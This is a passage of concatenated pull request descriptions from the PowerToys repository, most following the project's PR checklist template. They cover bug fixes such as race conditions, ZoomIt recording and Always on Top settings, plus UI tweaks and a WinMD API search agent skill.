wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
At first version, tried to use the project reference instead of package
reference, while it did not work in my local environment, so used
package reference instead.
While planned to project reference for many reasons like first day
problem explosure in sdk, maintain the strict consistent winmd with the
extension host.
Hopefully to solve some of the extension not starting problem.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Built an installer and validated in my arm64 and x64 machine, works
perfectly
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Update 0.97.1 download links to 0.97.2 in the main README.md.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #46057
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
Updated all download section descriptions and all links under the "items
that need to be updated release to release" comment, which updates the
download section links themselves.
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Tested all download links to confirm they have been updated correctly:
<img width="418" height="392" alt="image"
src="https://github.com/user-attachments/assets/09628863-7681-4e71-9d31-bc9bb4bb91c1"
/>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
As title
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
This PR makes RDP fallback non-global by default.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Adds a new Copilot agent skill (`winmd-api-search`) that lets AI agents
discover and explore Windows desktop APIs by searching a local cache of
WinMD metadata. The skill covers Windows Platform SDK, WinAppSDK/WinUI,
NuGet package WinMDs, and project-output WinMDs — providing full API
surface details (types, members, enumeration values, namespaces) without
needing external documentation lookups.
**Key components:**
- `.github/skills/winmd-api-search/SKILL.md` — Skill definition with
usage instructions, search/detail workflows, and scoring guidance
- `scripts/Invoke-WinMdQuery.ps1` — PowerShell query engine supporting
actions: `search`, `type`, `members`, `enums`, `namespaces`, `stats`,
`projects`
- `scripts/Update-WinMdCache.ps1` — Orchestrator that builds the C#
cache generator, discovers project files, and runs the generator
- `scripts/cache-generator/CacheGenerator.csproj` + `Program.cs` — .NET
console app using `System.Reflection.Metadata` to parse WinMD files from
NuGet packages, project references, Windows SDK, and packages.config
into per-package JSON caches
- `scripts/cache-generator/Directory.Build.props`,
`Directory.Build.targets`, `Directory.Packages.props` — Empty isolation
files to prevent repo-level Central Package Management and build targets
from interfering with this standalone tool
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx <!-- Replace with issue number if applicable -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass — N/A: This is an offline
agent skill (PowerShell + standalone .NET tool) with no integration into
the main product build or runtime. Validated manually by running the
cache generator across multiple project contexts (ColorPickerUI,
CmdPal.UI, runner, ImageResizer, etc.) and exercising all query actions.
- [ ] **Localization:** All end-user-facing strings can be localized —
N/A: No end-user-facing strings; this is an internal developer/agent
tool
- [ ] **Dev docs:** Added/updated — The SKILL.md itself serves as the
documentation
- [ ] **New binaries:** Added on the required places — N/A: The cache
generator is a standalone dev-time tool, not shipped in the installer
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: N/A
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
### Cache Generator (`Program.cs`, ~1000 lines)
A self-contained .NET console app that:
1. **Discovers WinMD sources** from four channels:
- `project.assets.json` (PackageReference — modern .csproj/.vcxproj)
- `packages.config` (legacy NuGet format)
- `<ProjectReference>` bin/ output (class libraries producing `.winmd`)
- Windows SDK `UnionMetadata/` (highest installed version)
2. **Parses WinMD files** using `System.Reflection.Metadata` /
`PEReader` to extract:
- Types (classes, structs, interfaces, enums, delegates) with full
namespace
- Members (methods with decoded signatures/parameters, properties with
accessors, events)
- Enum values
- Base types and type kinds
3. **Outputs per-package JSON** under `Generated Files/winmd-cache/`:
- `packages/<Id>/<Version>/meta.json` — package summary
(type/member/namespace counts)
- `packages/<Id>/<Version>/namespaces.json` — ordered namespace list
- `packages/<Id>/<Version>/types/<Namespace>.json` — full type detail
per namespace
- `projects/<ProjectName>.json` — maps each project to its package set
4. **Deduplicates** at the package level — if a package+version is
already cached, it's skipped on subsequent runs.
### Build Isolation
Three empty MSBuild files (`Directory.Build.props`,
`Directory.Build.targets`, `Directory.Packages.props`) in the
cache-generator folder prevent the repo's Central Package Management and
shared build configuration from interfering with this standalone tool.
### Query Engine (`Invoke-WinMdQuery.ps1`)
Supports seven actions: `search` (fuzzy text search across
types/members), `type` (full detail for a specific type), `members`
(filtered members of a type), `enums` (enumeration values), `namespaces`
(list all namespaces), `stats` (cache statistics), and `projects` (list
cached projects with their packages).
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
1. **Cache generation:** Ran `Update-WinMdCache.ps1` across 310+ project
files in the repo — 8 packages parsed, 316 reused from cache, all
completed without errors
2. **Query testing on multiple projects:**
- `ColorPickerUI` — verified Windows SDK baseline (7,023 types)
- `Microsoft.CmdPal.UI.ViewModels` (after restore) — verified 13
packages, 49,799 types, 112,131 members including WinAppSDK,
AdaptiveCards, CsWinRT, Win32Metadata
- `runner` (C++ vcxproj) — verified packages.config fallback path
- `ImageResizerExt` — verified project reference WinMD discovery
3. **All seven query actions validated:** `stats`, `search`,
`namespaces`, `type`, `enums`, `members`, `projects` — all returned
correct results
4. **Spell-check compliance:** SKILL.md vocabulary reviewed against
repo's check-spelling dictionaries; replaced flagged words with standard
alternatives
---------
Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Doing multiple text replacements in a row was unresponsive and laggy.
This PR addresses that issue.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #46031
## Validation steps
- Tested before according to the above issue, observed the bug
- Tested and refined the experience manually both locally and with the
exe from the CI build
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
If path does not exist, error message is shown vs nothing
<img width="1194" height="899" alt="image"
src="https://github.com/user-attachments/assets/ee40e49c-185c-418a-9815-1ad46d976a0e"
/>
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #38320
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
This PR adds a solution filter for projects related to PowerToys
Settings
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
To test:
- Open WinGet, search for PowerToys
- Select an option, scroll down in the DetailsPage
- Use the arrow code to select up / down
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #38334
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
The bug was caused by a resource lifetime issue between the recording
phase and the save/trim phase. After a recording stopped,
StartRecordingAsync moved directly into the save workflow while it was
still holding the temporary recording stream and the active recording
session objects, later file operations in the save flow could fail
against that same file. Once that happened, ZoomIt could end up stuck in
a bad state where the first save did not complete cleanly and subsequent
recording attempts would no longer start until ZoomIt was restarted.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
As title
- [ ] Closes: #46006
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Validated locally recording works fine when trimmed
## Summary of the Pull Request
This PR fixes a crash caused by unsynchronized access to a context menu:
- Fixes `System.ArgumentException: Destination array was not long
enough` crash in `CommandItemViewModel.AllCommands` caused by
`List<T>.AddRange()` racing with background `BuildAndInitMoreCommands`
mutations
- Replaces mutable `List<T>` public surfaces with immutable array
snapshots protected by a `Lock`; writers hold the lock, mutate the
backing list, then atomically publish new snapshots via `volatile`
fields that readers access lock-free
- Applies the same snapshot pattern to `ContentPageViewModel`, using a
bundled `CommandSnapshot` object for atomic publication (since
`PrimaryCommand` drives command invocation there, not just UI hints)
- Narrows `IContextMenuContext.MoreCommands` and `AllCommands` from
`List<T>`/`IEnumerable<T>` to `IReadOnlyList<T>` to prevent consumers
from casting back and mutating
- Moves `SafeCleanup()` calls outside locks in cleanup paths to avoid
holding the lock during cross-process RPC calls
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #45975
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
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and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
This PR ensures the search box visibility is correctly set by moving the
assignment before the short-circuit bail-out when the window is no
longer visible.
Regressed in 4959273
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #46019
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
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already. If the work hasn't been agreed, this work might be rejected
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<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
A single search-text change produces multiple ItemsUpdated callbacks. A
later soft update (ForceFirstItem=false) could overwrite the prior
force-first intent, restoring a stale sticky selection.
- Adds latched _forceFirstPending flag that survives across successive
ItemsUpdated passes until selection stabilizes or user navigates;
- Fixes scroll position on first-item reselection via UpdateLayout +
ScrollToItem + ResetScrollToTop in the deferred callback.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #45948
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
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already. If the work hasn't been agreed, this work might be rejected
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- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
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<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
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wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Adds an upload field for the bug report ZIP-file to the bug report issue
template.
<img width="982" height="157" alt="image"
src="https://github.com/user-attachments/assets/5b7175d7-eacf-4748-93e8-304a027de005"
/>
## PR Checklist
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
---------
Co-authored-by: Niels Laute <niels.laute@live.nl>
## Summary of the Pull Request
- Put enumeration of DockBands in
TopLevelCommandManager.ExtensionService_OnExtensionRemoved under correct
lock
- Return a snapshot of the dock bands list to prevent reading DockBands
without lock outside of TopLevelCommandManager
## PR Checklist
- [x] Closes: #45893
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Currently, hold ctrl or shift to disable wrap, which is inverse with
existing similar thing in mouse without borders,
reverse the behavior, so we hold ctrl or shift to wrap.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #46005
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
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- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Verified locally, everything works as expected, hold ctrl and shift will
trigger the wrap, other wise not if select the corresponding option
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This PR removes the text data format from the data package attached to
list items for files, keeping only the file drop-related formats.
MS Teams doesn't handle having both formats simultaneously well. :/
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #45950
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
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- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
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pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
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repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
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## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Fix#45993
Always on top have a window proc thread that will reload the settings
once file watcher trigger a reload of settings.
And always on top has a worker thread to read the settings at the same
time.
So it may happen worker thread will read the stale setting, as a result,
user change settings, and try to invoke always on top, as if nothing has
changed.
As the issue's recording shows.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [X] Closes: #45993
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
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- [ ] **Dev docs:** Added/updated
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- [ ] [JSON for
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for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
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repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
The setting take effect once it's changed:
https://github.com/user-attachments/assets/70d753e9-eca1-4040-9abf-4cfa4e8dacec
## Description
You don't have to go to powertoys settings to
* toggle the mouse move from machine to another
* you can trigger reconnect when connection lost from cmdpal
* You can toggle whether kbm is turning on or not from cmdpal
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Add several missing cmd to powretoys cmdpal extension
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
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- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
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for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
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- [ ] [YML for signed
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and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
https://github.com/user-attachments/assets/9ea019f7-988b-4542-afc5-a80f0fc99ef8
For the kbm toggle, when it's off, kbm will not map anything, if it's
on, kbm will take effect
For the mouse without borders, add these two functionality as command
<img width="1182" height="158" alt="image"
src="https://github.com/user-attachments/assets/27f526b1-9c91-4923-be6c-e505673f5892"
/>
And verified for the two command, works as expected
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
PowerToys extension development dev guide, and clean an unused msix
declaration
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
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- [ ] **Documentation updated:** If checked, please file a pull request
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repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
- Changes the Dock height to 38px (from 32) to avoid item and app
clipping.
- Localization
- Removing dead code
- If the tooltip string is null or empty, the tooltip will not be shown
- Adding hyperlinks on the General and Dock pages in Settings (to be
updated to the corresponding docs via aka.ms)
- The droptarget for an empty listview is now wider, and has a
highlight-color to communicate an item can be dropped:
<img width="371" height="142" alt="image"
src="https://github.com/user-attachments/assets/6863ca5a-cdd4-450b-ab57-d03d83170cf8"
/>
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
